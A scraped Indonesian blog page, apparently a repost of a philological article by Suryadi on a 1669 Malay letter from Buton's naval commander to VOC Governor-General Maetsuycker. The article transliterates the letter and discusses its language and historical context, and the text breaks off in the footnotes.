href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdeR5NtLEt8TNY-5oSIHIGsg3iZqwBdXflaBw-sC8jSpLTUil_aaZu4Hg-TrxtOqt7W3EByYMiKPho9OI7Oeg2JCHFW8laSnGnKsvfbuEToR45Hdw9Vj6TcSPaMISodE-i88ZAIwpMIdRn/s1600/COLLECTIE_TROPENMUSEUM_Vrouwen_van_Oersana_West-Ceram_TMnr_10005735.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 487px; height: 349px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdeR5NtLEt8TNY-5oSIHIGsg3iZqwBdXflaBw-sC8jSpLTUil_aaZu4Hg-TrxtOqt7W3EByYMiKPho9OI7Oeg2JCHFW8laSnGnKsvfbuEToR45Hdw9Vj6TcSPaMISodE-i88ZAIwpMIdRn/s200/COLLECTIE_TROPENMUSEUM_Vrouwen_van_Oersana_West-Ceram_TMnr_10005735.jpg" alt="" id="BLOGGER_PHOTO_ID_5512118494371995346" border="0" /></a><br /> <span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;font-family:-webkit-sans-serif;font-size:130%;" ><span class="Apple-style-span" style="line-height: 19px;"><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;"><b><br /></b></p><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;"><b><br /></b></p><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;"><b><br /></b></p><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;"><b><br /></b></p><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;"><b><br /></b></p><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;"><b><br /></b></p><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;"><b><br /></b></p><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;"><b><br /></b></p><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;"><b><br /></b></p><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;"><b>Wemale</b><span class="Apple-converted-space"> </span>adalah kelompok etnis di pulau<span class="Apple-converted-space"> </span><a href="http://www.blogger.com/wiki/Seram" title="Seram" class="mw-redirect" style="text-decoration: none; color: rgb(6, 69, 173); background-image: none;">Seram</a>,<span class="Apple-converted-space"> </span><a href="http://www.blogger.com/wiki/Indonesia" title="Indonesia" style="text-decoration: none; color: rgb(6, 69, 173); background-image: none;">Indonesia</a>. Mereka berjumlah 9.000 dan tinggal di 39 desa di pulau Seram. Seperti<span class="Apple-converted-space"> </span><a href="http://www.blogger.com/w/index.php?title=Suku_Alune&action=edit&redlink=1" class="new" title="Suku Alune (halaman belum tersedia)" style="text-decoration: none; color: rgb(204, 34, 0); background-image: none;">suku Alune</a><span class="Apple-converted-space"> </span>di barat, mereka berasal dari kelompok nenek moyang yang sama, yang disebut Patasiwa.</p><p style="margin: 0.4em 0px 0.5em; line-height: 1.5em;">Budaya Wemale telah banyak berubah pada dekade-dekade terakhir karena konsumerisme merusak nilai tradisional.</p></span></span>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-27304574588634415862010-08-28T11:36:00.000-07:002010-08-28T11:38:10.449-07:00Temuan Dokumen Sejarah Sulawesi Tenggara: Surat Tertua Kerajaan Buton dari Abad Ke-17 M<span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: rgb(187, 187, 187); font-size: 12px; line-height: 16px;"><div class="post-body entry-content" style="width: 330px; line-height: 1.4; position: relative; color: rgb(51, 51, 51);"><span style="font-weight: bold;">Temuan Dokumen Sejarah Sulawesi Tenggara: Surat Tertua Kerajaan Buton dari Abad Ke-17 M</span><br /><span style="font-weight: bold;">Suryadi</span><br /><span style="font-weight: bold;">15 July 2010</span><br /><br /><span style="font-weight: bold;">Pendahuluan</span><br />Dalam studi pernaskahan Nusantara, genre surat sudah menjadi objek kajian tersendiri yang telah menarik para peneliti untuk membahas kandungan isi, iluminasi, bahasa dan aksara, mohor/cap, serta aspek historisnya. Umumnya surat-surat Melayu dari abad ke-17 yang sekarang masih tersimpan di beberapa perpustakaan di dunia dianggap cukup tua, meskipun tercatat ada dua pucuk surat yang dikirim oleh Sultan Ternate yang masih kecil, Bayan Sirullah, kepada Raja Portugal, John III, masing-masing bertarikh 1521 dan 1522 yang menurut C.O. Blagden [1] dan Annbel Teh Gallop [2] (1994:120, 123) adalah naskah Melayu yang tertua di dunia. [3] Kedua pucuk surat itu sekarang tersimpan di Arquivos Nacionais Torre do Tombo, Cidade Universitaria, Lisabon, Portugal.<br /><br />Dalam artikel ini saya membahas sepucuk surat berusia hampir 350 tahun dari Kerajaan Buton yang tersimpan di Perpustakaan Universitas Leiden/Universiteitsbibliotheek Leiden (UB Leiden), Belanda, dengan kode K.Ak.98 (4). [4] Surat tersebut, yang ditulis dalam bahasa Melayu dan beraksara Arab-Melayu [Jawi]), sudah pernah dibicarakan oleh W.G. Shellabear kurang dari 170 tahun yang lalu bersama sejumlah naskah Melayu lainnya dari abad ke-16 dan 17 yang tersimpan di beberapa perpustakaan di Inggris dan Belanda, [5] namun mungkin tak banyak diketahui di Indonesia.<br /><br />Sejauh yang saya ketahui, K.Ak.98 (4) adalah surat dari Kerajaan Buton yang tertua yang masih terselamatkan sampai sekarang. Dari kodenya dapat diketahui bahwa surat itu tidak termasuk koleksi naskah-naskah Nusantara yang dihadiahkan oleh para pemilik naskah semula—seperti Van der Tuuk, C. Snouck Hurgronje, dll.—yang biasanya dalam koleksi khusus (bijzonder collecties) UB Leiden dicatat dengan kode Or (singkatan dari Orientalis). Rupanya K.Ak.98 termasuk dalam koleksi naskah-naskah milik beberapa orang kolektor yang sudah meninggal atau suatu lembaga yang statusnya dipinjamkan atau dititipkan di UB Leiden (loan-collections). Dua di antara loan collections itu adalah naskah-naskah milik De Koninklijke Nederlandse Akademie van Wetenschappen (disingkat KNAW) yang diberi kode K.Ak.) yang ditempatkan di UB Leiden sejak tahun 1856 dan koleksi milik Het Nederlandsch Bijbelgenootschap (NBG) [6] . Jelas bahwa K.Ak.98 (4) berasal dari koleksi KNAW (yang dikenali dari kata `Acad` pada naskah-naskahnya).<br /><br />Menurut informasi sebuah katalog, K.Ak.98 (4) adalah:<br /><br />Epistola Malaïca (2 [7] ) praetoris navalis Boetonensis, Laut, mense Oct. a. 1669 ad eumdem missa.<br />Excusat se, quod, bello finito, Bataviae non comparuit, quippe morte Radjae Boetoni impeditus. [8]<br /><br />Terjemahannya:<br /><br />Surat dalam bahasa Melayu oleh Komandan Laut [Kapitalao] Buton, Laut, bulan Oktober 1669, dikirimkan kepada orang yang sama [Gubernur Jenderal VOC, Joan Maetsuycker]. Ia [Kapitalao] sendiri mohon maaf atas ketidakhadirannya di Batavia setelah perang [antara VOC dan Gowa] berakhir karena ia dicegah untuk pergi [ke Batavia] disebabkan oleh wafatnya Raja Buton.<br /><br />Rupanya ada sepucuk surat lagi dari Buton dalam bundel K.Ak.98, yaitu nomor 5, tapi hanya terjemahan Belandanya saja yang tersedia, sedangkan surat aslinya tidak ditemukan lagi. Menurut P. de Jong, K.Ak.98 (5) adalah:<br /><br />Versio Belgica epistole Malaïcae a Sultano Boetoni, ao 1670 scriptae ad eumdem. Sultanus queritur de tumultu, in urbe Boeton exorto, et a Gubernatore auxilium petit. [9]<br /><br />Terjemahannya:<br /><br />Terjemahan bahasa Belanda atas surat dalam bahasa Melayu dari Sultan Buton, ditulis pada tahun 1670 kepada orang yang sama [maksudnya: Gubernur Jenderal VOC, Joan Maetsuycker]. Sultan mengeluh tentang kerusuhan yang pecah di kota Buton [Bau-Bau] and memohon bantuan kepada Gubernur [Jenderal untuk mengatasinya].<br /><br />Artikel ini tidak membahas K.Ak.98 (5) karena saya masih memerlukan waktu dan bantuan banyak pihak untuk membaca terjemahan surat tersebut yang ditulis dalam bahasa Belanda abad-17 yang orang Belanda masa kini saja banyak yang tidak mampu membacanya. Dengan demikian fokus pembicaraan saya dalam artikel ini hanyalah surat yang pertama saja: K.Ak.98 (4).<br /><br />Walaupun W.G. Shellabear (1898) telah menyajikan versi ketik ulang K.Ak.98 (4) dalam aksara Jawi, transliterasi Latinnya (dengan memakai sistem pelafalan menurut dielek Melayu Semenanjung Malaysia) dan terjemahannya dalam bahasa Inggris, saya kira tetap ada manfaatnya menyajikan kembali transliterasi K.Ak.98 (4) dalam artikel ini. Saya menyajikan transliterasi K.Ak.98 (4) dalam bahasa Indonesia, mengikut kaidah Ejaan Yang Disempurnakan (EYD) dan melengkapinya dengan foto digital naskah aslinya serta pembicaraan yang lebih rinci mengenai konteks sosio-historis surat itu yang tidak dibahas secara mendalam oleh Shellabear. Lagipula, publikasi Shellabear yang sudah klasik itu, dan ditulis dalam bahasa Inggris, mungkin cukup sulit ditemukan di Indonesia. Hal ini menjadi pertimbangan pula bagi saya untuk memperkenalkan kembali naskah asli dan transliterasi K.Ak.98 (4) dalam artikel ini, dengan tujuan utama pembaca di Indonesia.<br /><br />Berikut adalah transliterasi (alih aksara) K.Ak.98 (4).<br /><br />Transliterasi K.Ak.98 (4)<br /><br />/1/ [10] Bahwa surat ini pada menyatakan tulus dan ikhlas daripada Paduka Sahabat Kaicil Jitangkalawu [11] , Kapiten /2/ Laut Buton, menyampaikan tabe banyak2 datang kepada Paduka Sahabat Heer Gurnadur Jenral Yohan /3/ Metsyaker [12] yang memegang kuasa Kompanyi dalam kota Betawih, akan memerintahkan segala pekerjaan Kompanyi /4/ serta dengan segala sahabatnya raja2 dari bawah angin. Maka dianugrahkan Allah Subhanahu wataala bertambah2 /5/ kebajikan dalam dunia dan yang diterangkan hatinya, maka kharijlah segala akal budi bicaranya /6/ yang baik dan menolong daripada orang yang kena kesukaran dan yang mengetahui daripada hati orang, /7/ maka termasyhurlah dari atas angin dan di bawah angin yang memujikan harapnya lagi budiman /8/ serta dengan bijaksanaannya dan ialah meneguhkan setianya perjanjian pada segala raja2, tiada akan /9/ berubah2 lagi demikian itu, maka dipanjangkan Allah umur dan selamat dan berkat supaya kita /10/ bersahabat, Ternate serta Buton dan Kompanyi, agar jangan bercerai-cerai selama-lamanya.<br /><br />Adapun kemudian /11/ dari itu bahwa sahabat Kapiten Laut memeri maklum kepada Gurnadur Jenral tatkala disuruh oleh /12/ sahabat Raja Buton, kami mengiringkan Paduka Sri Sultan Ternate sama2 mengikut pada Amiral /13/ Cornelis Speelman ke Tanah Mengkasar supaya kami mengerjakan kerja kita, hanya maklumlah Kapiten /14/ Laut apabila kuasa Kompanyi serta dengan kuasa Allah akan menyudahi daripada pekerjaan kita hendaklah /15/ Kapiten Laut menunjukkan muka pada Heer Gurnadur Jenral juga supaya puaskan hati. Tetapi /16/ pada sekarang ini Admiral pulang ke Jakatra, hanya Tuan kami Raja Ternate lagi duduk dari Mengkasar, maka /17/ sahabat Kapiten Laut pun duduk sama2 dengan Tuan kami Raja Ternate.<br /><br />Seperkara pula, ada<pun><span class="Apple-converted-space"> </span>raja /18/ Buton pun sudahlah pulang ke rahmatullah, kembali daripada asalnya, meninggalkan dunia mengadap ke Negeri /19/ akhirat, sebab itulah maka sahabat Kapiten Laut tiada jadi pergi ke Jakatra menunjukkan muka kepada /20/ Heer Gurnadur Jenral di Betawi, karena adat kami demikian itu apabila raja yang mati /21/ upama seperti datang hari kiamat, jadilah haru biru dalam negeri itu. Oleh pada pikir /22/ Sahabat Kapiten Laut baiklah kami sama2 dengan r [14] Tuan Raja Ternate duduk lagi di Mengkasar. /23/ Ampun2 seribu ampun kepada Sahabat Heer Gurnadur Jenral juga, tiada ada cendera mata /24/ pada sesuatu kepada Heer Jenral melainkan budak laki dua orang akan tanda tulus dan ikhlas /25/ juga, upamanya seperti dua biji sawi, jangan diaibkan. Karena Sahabat Kapiten Laut /26/ orang yang bebal lagi daif mengatur perkataan surat ini, maka jikalau ada salah pun melainkan /27/ maaf juga kepada Heer Gurnadur Jenral. Tamat.<br /><br />Tertulis dalam Benteng Parinringa yang bedekatan dengan kota Rotterdam dualapan [15] sembilan [16] likur hari dari bulan Jumadilawal pada tahun Jim hijrat al-Nabi Salallahu alaihi wasalam seribu dualapan puluh genap. [17]<br /><br />Bahasa K.Ak.98 (4): Catatan ringkas<br /><br />Ketuaan K.Ak.98 (4) dapat dikesan dari beberapa kata yang memang jarang ditemukan dalam surat-surat Melayu pada masa yang lebih kemudian. Kata `Kompanyi` (maksudnya VOC, Verenigde Oost-Indische Compagnie) jelas menunjukkan ketuaan surat ini. Ini adalah bentuk yang lebih arkais dari kata `Kompeni` yang lebih banyak dipakai dalam surat-surat Melayu yang berasal dari abad yang lebih belakangan (abad ke-18 dan 19).<br /><br />Setidaknya ada beberapa kata lagi yang menunjukkan ketuaan surat ini. Kata `jenral` pada `Gurnadur Jenral` juga sering dipakai dalam surat-surat Melayu dari abad ke-17, tetapi cenderung berubah menjadi `jendral` (atau `jenderal`) dalam surat-surat Melayu dari abad-abad sesudahnya (abad ke-18 dan 19); demikian juga kata `amiral` (pangkat kemiliteran; dalam konteks surat ini disebut nama `Amiral Speelman`) yang dari abad-abad sesudahnya sering ditulis `admiral`. Kata `Jakatra`—nama lain untuk Betawi (Batavia) yang sekarang bernama Jakarta—amat jarang ditemukan dalam surat-surat Melayu abad ke-18 dan 19; kata itu justru muncul dalam beberapa surat Melayu dari periode yang lebih awal, seperti dalam K.Ak.98 (4) ini.<br /><br />Kata `memeri` (untuk bentuk dasar `beri`) cukup terkesan arkais juga, walaupun sebenarnya dalam periode yang lebih belakangan (abad ke-18 dan 19) bentuk ini masih dipakai dalam naskah-naskah Melayu, termasuk surat-surat, dari wilayah tertentu di Nusantara. Tentu saja cukup mengherankan pula bahwa kota yang sekarang disebut `Makassar` dalam surat-surat raja-raja lokal dari Indonesia timur pada abad ke-16 sampai awal abad ke-20 selalu ditulis `Mengkasar`. Saya belum tahu kapan terjadi perubahan pelafalan ini dan apa penyebabnya. Namun, menurut dugaan saya, pelafalan `Makassar` seperti dikenal sekarang mungkin didasarkan atas dokumen-dokumen Belanda dari zaman kolonial, bukan berdasarkan penulisan yang ditemukan dalam dokumen-dokumen pribumi seperti surat-surat Melayu dari raja-raja lokal tersebut.<br />art-mei-25-suryadi<br />K.Ak.98 (4)<br />Sumber: Koleksi Universiteitsbibliotheek Leiden<br /><br />Konteks Kesejarahan K.Ak.98 (4)<br /><br />Setelah membaca alih aksara K.Ak.98 (4) yang tersaji di atas, dapat diketahui bahwa penulis surat ini menyebut dirinya “Paduka Sahabat Kaicil Jitanggalawu, Kapiten Laut Buton”. Surat ini ditujukan kepada “Paduka Sahabat Heer Gurnadur Jen[d]ral Yohan Metsyaker yang memegang kuasa Kompanyi dalam kota Betawi(h)”. Jelas maksudnya adalah Gubernur Jenderal VOC ke-12, Joan Maetsuycker (1653-1678; lihat catatan 12).<br /><br />Jelas bahwa K.Ak.98 (4) ditulis tak lama setelah Gowa dikalahkan oleh VOC di bawah pimpinan Cornelis Speelman. [18] Isi surat ini cukup menggambarkan posisi politik Buton selepas Perjanjian Bongaya (1667) melalui mana VOC berhasil menekan ambisi politik Kerajaan Gowa yang sering menginvasi kerajaan-kerajaan tetangganya, termasuk Buton.<br /><br />Isi K.Ak.98 (4) antara lain menyebutkan: “[S]ahabat Kapiten Laut [Buton] mem[b]eri maklum kepada Gurnadur Jen[d]ral tatkala disuruh oleh Sahabat Raja Buton kami mengiringkan Paduka Sri Sultan Ternate sama2 mengikut pada A[d]miral Cornelis Speelman ke Tanah Mengkasar supaya kami mengerjakan kerja kita”.<br /><br />Jadi, Kapiten Laut (Kapitalao) Buton itu mewakili Sultan Buton, rajanya, yang tampaknya tidak bisa datang ke Makassar untuk bertemu dengan Cornelis Speelman, Admiral VOC yang telah berhasil menaklukkan Gowa dan menjadikan kekuatan politik VOC bercokol lebih kuat di Indonesia timur.<br />Sejarah mencatat bahwa setelah Perjanjian Bongaya ditandatangani, Buton menjadi bebas dari tekanan Gowa dan jadi dekat dengan Ternate yang menjadi saingan Gowa. Tetapi sebagai imbalannya “hendaklah Kapiten Laut [Jitanggalawu] menunjukkan muka [ke]pada Heer Gurnadur Jen[d]ral juga supaya puaskan hati” Gubernur VOC itu. Walaupun pengancam regional, Gowa, sudah dikalahkan oleh VOC, hubungan antara Ternate dan Buton tidak selalu baik.<br /><br />Selanjutnya K.Ak.98 (4) menceritakan bahwa Admiral Speelman kembali ke Jakatra (nama yang lebih awal untuk kota Batavia, biasa ditulis `Jacatra` dalam dokumen-dokumen Belanda dari abad ke-16 dan 17), sementara “Sahabat Kapiten Laut [Jitanggalawu] pun duduk sama2 dengan Tuan […] Raja Ternate” di Makassar. Tidak disebutkan nama Raja Ternate itu, tapi kemungkinan besar adalah Sultan Mandarsyah (1645-1675) [19] .<br /><br />Penyebab batalnya Kapitalao Jitanggalawu pergi ke Batavia jadi jelas menjelang akhir surat ini: karena “Raja Buton [...] pun sudahlah pulang ke rahmatullah, kembali daripada asalnya, meninggalkan dunia mengadap ke negeri akhirat”, sebab itulah ia urung “pergi ke Jakatra menunjukkan muka kepada Heer Gurnadur Jen[d]ral di Betawi”, karena dalam adat Buton “apabila raja yang mati u[m]pama seperti datang<br />hari kiamat, jadilah haru biru dalam negeri.”<br /><br />Jadi, tampaknya Kapitalao Jitanggalawu tidak berani pergi jauh ke Batavia/Jakatra karena Rajanya baru saja mangkat. Kutipan di atas juga menggambarkan bagaimana reaksi masyarakat Buton masa lampau jika raja mereka meninggal: seluruh lapisan masyarakat berkabung dan hari mereka berada dalam kesedihan yang mendalam. Abdullah bin Muhammad al-Misri dalam karyanya, Hikayat Raja-Raja Siam (1823 atau 1824) menggambarkan kebiasaan yang berlaku di kerajaan-kerajaan lokal di Indonesia timur pada masa lampau apabila seorang raja mangkat:<br /><br />Sebermula adapun raja-raja di tanah Bugis dan Ternate dan tanah sebelah timur, apabila ada raja-raja itu mati, maka berkeliling segala perempuan yang baik rupanya dan suaranya memegang kipas, maka bersyair menembang itu berpuluh-puluh hari, maka baru ditanam, dan tetapi tiada dibakar seperti [di] Siam dan Bali, maka inilah dikata ada lagi agama Hindu kepada segala negeri bawah angin ini dan banyak lagi orang yang menyembah yang lain daripada Allah taala. [20]<br /><br />Catatan Abdullah bin Muhammad al-Misri di atas merefleksikan pengamalan unsur kepercayaan pra-Islam di kalangan penduduk kerajaan-kerajaan lokal di Indonesia timur pada abad ke-17, ke-18, dan ke-19, termasuk Buton. Dalam kebudayaan masyarakat Buton masa lampau, bahkan sampai pada periode yang belum lama berselang, sinkretisme antara kepercayaan yang lebih kuno dengan Islam yang datang kemudian begitu kuat. [21]<br /><br />Siapakah gerangan Raja Buton yang mangkat yang disebutkan dalam K.Ak.98 (4)? Sebelum membahas itu, baiklah saya kutip alih aksara kolofon surat tersebut: “Tertulis dalam Benteng Parinringa yang be[r]dekatan dengan kota Rotterdam dua lapan (<sembilan>; kata sisipan, Suryadi) likur hari dari bulan Jumadil Awal pada tahun Jim hijrat al-Nabi Salallahu alaihi wassalam seribu dua lapan puluh genap”.<br /><br />Jadi, K.Ak.98 (4) ditulis di Benteng Parinringa, dekat Benteng Rotterdam di Makassar, pada 8 (atau 9) Jumadilawal 1080 H”. Jika dikonversikan ke tahun Masehi: 8 Jumadilawal 1080 H = 4 Oktober 1669; 9 Jumadilawal 1080 H = 5 Oktober 1669. Kata “sembilan” disisipkan belakangan, tampaknya ada kesalahan penulisan tanggal, lalu dibetulkan. Jadi, sangat mungkin tanggal penulisan surat ini adalah 5 Oktober 1669 (lihat catatan 17).<br /><br />Dengan demikian, sangat mungkin Raja Buton yang diberitakan mangkat oleh Kapitalao Jitanggalawu dalam suratnya itu adalah La Simbata atau Sultan Adilil Rakhiya (1664-1669), Sultan Buton ke-10. Nama lain beliau adalah Mosabuna I Lea-Lea. Beliau turun tahta karena melepaskannya, bukan meninggal atau dikudeta. Sultan Adilil Rakhiya digantikan oleh Sultan Kaimuddin atau La Tangkaraja (1669-1680). [22]<br />Sultan Adilil Rakhiya mangkat di tahun-tahun awal kekuasaan Sultan Kaimuddin, penggantinya, tidak lama setelah kerusuhan di Wasongko dan Lasadewa akibat kasus Sapati Kapolangku yang menimbulkan terjadinya kesalahpahaman antara Ternate Buton. [23] Jika kita merujuk lagi kepada kolofon K.Ak.98 (4), maka dapat diperkirakan bahwa Sultan Adilil Rakhiya (La Limbata) mangkat sebelum bulan Oktober 1669.<br /><br />Sampai batas tertentu, kolofon K.Ak.98 (4) juga memberi petunjuk tentang wewenang dan kekuasaan seorang kapitalao Buton. Rupanya dalam keadaan darurat, kapitalao boleh menulis surat dari tempat yang jauh dari Istana Buton. Kapitalao, bersama dengan jurubahasa (jurubasa) sering mewakili sultan apabila hendak berhubungan dengan pihak-pihak luar seperti Belanda dan Inggris. [24]<br /><br />Surat Kapitalao Jatinggalawu (K.Ak.98 (4)) diakhiri dengan penutup yang menyebut hadiah dua orang budak laki-laki yang dipersembahkan kepada Gubernur Jenderal Maetsuycker. Ungkapan “upamanya seperti dua biji sawi” (baris 25) yang dipakai dalam surat itu, yang mengandung nada merendah, adalah salah satu ciri khas surat-surat Melayu lama. Namun, ungkapan merendah ini berbeda-beda redaksinya antara satu surat dan surat lainnya yang berasal dari daerah yang berbeda di Nusantara. [25]<br /><br />Demikianlah sedikit ulasan mengenai teks dan konteks K.Ak.98 (4). Diharapkan apa yang telah diuraikan dalam artikel ini dapat menambah informasi mengenai masa lampau negeri Buton. Menurut saya, alangkah bagusnya kalau surat Buton yang cukup tua ini direproduksi dan hasil repronya dapat disimpan di salah satu museum di Bau-Bau atau di Museum Propinsi Sulawesi Tenggara.<br /><br /><br /><br /><br />Penulis adalah dosen dan peneliti pada:<br /><br />Faculteit Geesteswetenschappen,<br /><br />Universiteit Leiden, Belanda<br /><br />(e-mail: s.suryadi@hum.leidenuniv.nl)<br /><br /><br />Kepustakaan:<br />Abdul Mulku Zahari, Sejarah dan Adat Fiy Darul Butuni (Buton), Jakarta: Departemen Pendidikan dan Kebudayaan, 1977.<br />Bladgden, C.O. “Two Malay letters from Ternate in the Moluccas, written in 1521 and 1522”, dalam Bulletin of the School of Oriental Studies, London: University of London 6 (1930-1932), hlm. 87-100.<br />Chambert-Loir, Henri, Kerajaan Bima dalam Sastra dan Sejarah, Jakarta: Kepustakaan Populer Gramedia & École Franęaise d`Extrême-Orient.<br />De Jong, P., Catalogus Codicum Orientalium Bibliothecae Academiae Regiae Scientarium, Lugduni Batavorum: E.J. Brill & Academiae Typographus, 1862.<br />Gallop, Annabel The, The Legacy of Malay Letter; Warisan Warkah Melayu, London: The British Library, 1994.<br />Monique Zaini-Lajoubert, Karya Lengkap Abdullah bin Muhammad al-Misri, Jakarta: École Franęaise d`Extrême-Orient.<br />Muridan Widjojo, “Cross-Cultural Alliance-Making and Local Resistence in Maluku During the Revolt of Prince Nuku, c.1780-1810, PhD Dissertation, Leiden University, 2007, hlm. 262.<br />Proudfoot, Ian, Old Muslim calendar of Southeast Asia, Leiden-Boston: Brill, 2006.<br />Schoorl, Pim, Masyarakat, Sejarah, dan Budaya Buton, Jakarta: Djambatan, 2003.<br />Shellabear, W.G., “An account of some of the oldest Malay MSS. Now extant”, dalam Journal of the Straits Branch of the Royal Asiatic Society 31, 1898, hlm. 107-151.<br />Skinner, C. (ed.), Syair Perang Mengkasar; Sebuah Reportase Sastrawi Bergaya Melayu dari Jurutulis Sultan Hasanuddin tentang Kejatuhan Salah Satu Kerajaan Besar di Abad XVII, a.b: Abdul Rahman Abu, Makassar: Ininawa-KITLV, Jakarta, 2008.<br />Suryadi, “Surat-surat Sultan Bima Abdul Hamid kepada Kompeni Belanda, koleksi Universiteitsbibliotheek Leiden”, Makalah dalam Simposium Internasional Pernaskahan Nusantara XI, Bima-Nusa Tenggara Barat, 26-28 Juli 2007.<br />_______, “Surat-surat Sultan Buton, Dayyan Asraruddin dan Kaimuddin I, koleksi Universiteitsbibliotheek Leiden, Belanda”, dalam Jurnal Humaniora, Vol. 19, No.3, Oktober 2007, hlm. 284-285.<br />_______, “Warkah-warkah Sultan Buton Muhyiuddin Abdul Gafur kepada Kompeni Belanda, koleksi Universiteitsbibliotheek Leiden”, Jurnal Sari 25, 2007, hlm. 189.<br />Uli Kozok, Kitab Undang-undang Tanjung Tanah: Naskah Melayu yang Tertua, Jakarta: Yanassa & Yayasan Obor Indonesia, 2006.<br />van Putten, L.P., Gouverneurs-generaal van Nederlands-Indië, Deel 1: ambitie en onvermogen: 16-10-1796, Rotterdam: ILCO-Productions, 2002.<br /><br />__________<br />Sumber Foto:<br />[1] Lihat C.O. Bladgden, “Two Malay letters from Ternate in the Moluccas, written in 1521 and 1522”, Bulletin of the School of Oriental Studies, University of London 6 (1930-1932): 87-100.<br />[2] Annabel Teh Gallop, The legacy of Malay letter; warisan warkah Melayu [with an essay by E. Ulrich Kratz) (London: The British Library, 1994), hlm. 122, 196.<br />[3] Walau bagaimanapun pendapat ini tentu tidak berlaku lagi setelah Uli Kozok menemukan Kitab Undang-undang Tanjung Tanah di Kerinci yang diperkirakan ditulis pada abad ke-14 atau awal abad ke-15. Lihat Uli Kozok, Kitab Undang-undang Tanjung Tanah: naskah Melayu yang tertua (Jakarta: Yanassa & Yayasan Obor Indonesia, 2006).<br />[4] Ketika saya mengadakan penelitian mengenai surat-surat Sultan Buton Mahyuddin Abdul Gafur (1791-1799), Dayyan Asraruddin (1799-1822), dan Kaimuddin 1 (1824?-1851) yang tersimpan di UB Leiden, keberadaan K.Ak.98 (4) sudah saya informasikan selintas. Lihat Suryadi, “Warkah-warkah Sultan Buton Muhyiuddin Abdul Gafur kepada Kompeni Belanda, koleksi Universiteitsbibliotheek Leiden”, Jurnal Sari 25 (2007): 189; Suryadi, “Surat-surat Sultan Buton, Dayyan Asraruddin dan Kaimuddin I, koleksi Universiteitsbibliotheek Leiden, Belanda”, Jurnal Humaniora, Vol. 19, No.3 (Oktober 2007): 284-85.<br />[5] W.G. Shellabear, “An account of some of the oldest Malay MSS. Now extant”, Journal of the Straits Branch of the Royal Asiatic Society 31 (1898): 107-151.<br />[6] Ada dua kelompok koleksi NBG yang ditempatkan di UB Leiden: koleksi NBG yang berisi naskah Jawa dan Sunda ditempatkan di UB Leiden sejak tahun 1905; koleksi yang disebut NBG-Klinkert (umumnya berisi naskah-naskah Melayu) ditempatkan di UB Leiden sejak tahun 1915.<br />[7] Nomor ini dalam Katalog Jong ( 1862; lihat catatan 8 ) merujuk kepada naskah-naskah (termasuk surat-surat) yang berbahasa Melayu dan beraksara Jawi.<br />[8] P. de Jong, Catalogus codicum orientalium Bibliothecae Academiae Regiae Scientarium. (Lugduni Batavorum: E.J. Brill & Academiae Typographus, 1862, hlm. 291-2). Naskah-naskah koleksi KNAW yang dititipkan di UB Leiden umumnya berbahasa Arab, dan hanya sedikit di antaranya berbahasa Melayu, seperti beberapa surat yang terdapat dalam bundel K.Ak.98.<br />[9] P. de Jong, Catalogus codicum orientalium, hlm. 292. Selain dua surat dari Buton yang telah saya sebutkan di atas, dalam bundel K.Ak.98 ini terdapat sejumlah surat lainnya dari Nusantara, antara lain dari Bima, Indrapura (pantai barat Sumatra),Ternate, Mataram, dan Jambi (beberapa di antaranya hanya terjemahan bahasa Belandanya saja yang tersedia). Lihat P. de Jong (ibid.), hlm.291-93. Dua di antaranya, yaitu K.Ak.98 (11 & 12), pernah dialihkasarakan oleh Annabel Teh Gallop, tapi tampaknya belum pernah dipubliksikan. (Terima kasih kepada Annabel yang telah memberitahu saya meengenai hal ini melalui beberapa email dan mengirimi saya hasil transliterasi kedua surat tersebut).<br />[10] Angka yang diapit oleh tanda / / merujuk kepada urutan baris pada surat aslinya (lihat gambar).<br />[11] Shellabear (1898:132; lihat catatan 5) mentransliterasikannya `Jinggalawu`, dan `Jipalawu` menurut filolog Buton, Hasaruddin, (komunikasi pribadi, 27 April 2009). Namun menurut saya, kata itu harus dibaca `Jitangkalawu`, jika tidak `Jitangdaawu`. Persoalannya adalah keragu-raguan untuk memastikan huruf kelima pada kata itu: apakah k, g, atau d? Namun tampaknya dalam surat ini antara huruf k dan g dibedakan, dimana yang terakhir dilambangkan dengan huruf kaf yang diberi titik di bawahnya. Namun, saya juga ragu bahwa huruf kelima itu adalah d yang diberi pemarkah `—` di atasnya (kelihatannya memang tidak bersambung). Ini beralasan karena bentuknya mirip dengan huruf d di baris-baris lain. Jika demikian halnya, maka kata itu juga bisa dibaca `Jitangdaawu`. Sayangnya, nama ini hanya disebut sekali saja dalam surat ini, sementara saya belum menemukan sumber-sumber lain yang menyebut nama ini, sehingga sulit untuk mencari perbandingan.<br />[12] Yang dimaksud adalah Joan Maetsuycker, Gubernur Jenderal VOC ke-12 (1653-1678). Lebih jauh mengenai Joan Maetsuycker, lihat L.P. van Putten, Gouverneurs-generaal van Nederlands-Indië, Deel 1: ambitie en onvermogen: 16-10-1796 (Rotterdam: ILCO-Productions, 2002), hlm. 80-5.<br />[13] `Pun` tersalah letak: diletakkan setelah kata `Buton` di awal baris 18, namun kemudian diberi tanda pembetulan.<br />[14] Sesuai dengan surat aslinya: sepertinya ada huruf r yang salah tulis (lihat gambar).<br />[15] `Dualapan` dalam konteks ini berarti `delapan` (8), bukan `duapuluh delapan` (28). Lihat 